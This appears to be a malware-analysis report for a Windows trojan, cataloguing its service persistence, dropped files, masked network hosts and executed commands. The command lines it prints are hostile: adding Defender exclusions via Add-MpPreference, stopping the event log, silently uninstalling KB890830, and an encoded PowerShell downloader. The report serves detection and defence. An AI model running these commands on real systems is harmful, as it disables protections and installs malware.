Trojan.Siggen31.55642

Technical Information

To ensure autorun and distribution

Sets the following service settings

[HKLM\SYSTEM\CurrentControlSet\Services\XFKFSUFZ] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\XFKFSUFZ] 'ImagePath' = '%ALLUSERSPROFILE%\kojhoxzqdhzu\lnfyysdmqaja.exe'
[HKLM\SYSTEM\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%WINDIR%\TEMP\slmehpljucqp.sys'

Creates the following services

'XFKFSUFZ' %ALLUSERSPROFILE%\kojhoxzqdhzu\lnfyysdmqaja.exe
'WinRing0_1_2_0' %WINDIR%\TEMP\slmehpljucqp.sys

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

Injects code into

the following system processes:

<SYSTEM32>\conhost.exe
%WINDIR%\explorer.exe

Modifies file system

Creates the following files

%TEMP%\main\file.bin
%TEMP%\main\killduplicate.cmd
%TEMP%\main\main.bat
%TEMP%\main\7z.dll
%TEMP%\main\7z.exe
%TEMP%\main\extracted\file_3.zip
%TEMP%\main\extracted\antiav.data
%TEMP%\main\extracted\file_2.zip
%TEMP%\main\extracted\file_1.zip
%TEMP%\main\extracted\win.exe
%TEMP%\nat.exe
%TEMP%\installer.exe
%TEMP%\win86.exe
%TEMP%\pro3eljf.exe
%TEMP%\pcr8yx13.exe
%TEMP%\main\temp.log
%ALLUSERSPROFILE%\kojhoxzqdhzu\lnfyysdmqaja.exe
%WINDIR%\temp\__psscriptpolicytest_rce0gvgd.dug.ps1
%WINDIR%\temp\__psscriptpolicytest_bnqwyvcz.2rj.psm1
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-41-091.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-41-291.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-41-376.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-41-523.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-41-546.dump
%WINDIR%\temp\__psscriptpolicytest_j1n4hibl.2pg.ps1
%WINDIR%\temp\__psscriptpolicytest_5eobua3v.o2p.psm1
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-41-762.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-41-811.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-42-020.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-42-114.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-42-247.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-42-322.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-42-426.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-42-457.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-42-478.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-42-512.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-42-528.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-42-559.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-42-590.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-42-981.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-43-050.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-43-081.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-43-097.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-43-134.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-43-166.dump
%WINDIR%\temp\content\3304-3984-powershell.exe-18-05-43-219.dump
<SYSTEM32>\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
%WINDIR%\temp\slmehpljucqp.sys

Sets the 'hidden' attribute to the following files

%TEMP%\main\killduplicate.cmd
%TEMP%\main\win.exe

Moves the following files

from %TEMP%\main\file.bin to %TEMP%\main\file.zip
from %TEMP%\main\extracted\win.exe to %TEMP%\main\win.exe

Substitutes the following files

%TEMP%\main\file.bin

Network activity

Connects to

'ad###help.net':443
'po##.#ashvault.pro':443
'91.##8.241.80':5554
'pa###bin.com':443

TCP

Other

'ad###help.net':443
'po##.#ashvault.pro':443
'pa###bin.com':443

UDP

DNS ASK ad###help.net
DNS ASK po##.#ashvault.pro
DNS ASK pa###bin.com

Miscellaneous

Creates and executes the following

'%TEMP%\main\7z.exe' e file.zip -p1454195922335514191710322550 -oextracted
'%TEMP%\main\7z.exe' e extracted/file_3.zip -oextracted
'%TEMP%\main\7z.exe' e extracted/file_2.zip -oextracted
'%TEMP%\main\7z.exe' e extracted/file_1.zip -oextracted
'%TEMP%\main\win.exe'
'%TEMP%\nat.exe'
'%TEMP%\installer.exe'
'%TEMP%\win86.exe'
'%TEMP%\pro3eljf.exe'
'%TEMP%\pcr8yx13.exe'
'%ALLUSERSPROFILE%\kojhoxzqdhzu\lnfyysdmqaja.exe'

Executes the following

'<SYSTEM32>\cmd.exe' /c ""%TEMP%\main\main.bat" /S"
'<SYSTEM32>\mode.com' 65,10
'<SYSTEM32>\attrib.exe' +H "win.exe"
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGEAbABxACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA3ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8A...
'<SYSTEM32>\cmd.exe' /c wusa /uninstall /kb:890830 /quiet /norestart
'<SYSTEM32>\sc.exe' delete "XFKFSUFZ"
'<SYSTEM32>\wusa.exe' /uninstall /kb:890830 /quiet /norestart
'<SYSTEM32>\sc.exe' create "XFKFSUFZ" binpath= "%ALLUSERSPROFILE%\kojhoxzqdhzu\lnfyysdmqaja.exe" start= "auto"
'<SYSTEM32>\sc.exe' stop eventlog
'<SYSTEM32>\sc.exe' start "XFKFSUFZ"
'%WINDIR%\explorer.exe'
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\main\main.bat" /S"' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGEAbABxACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA3ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8A...' (with hidden window)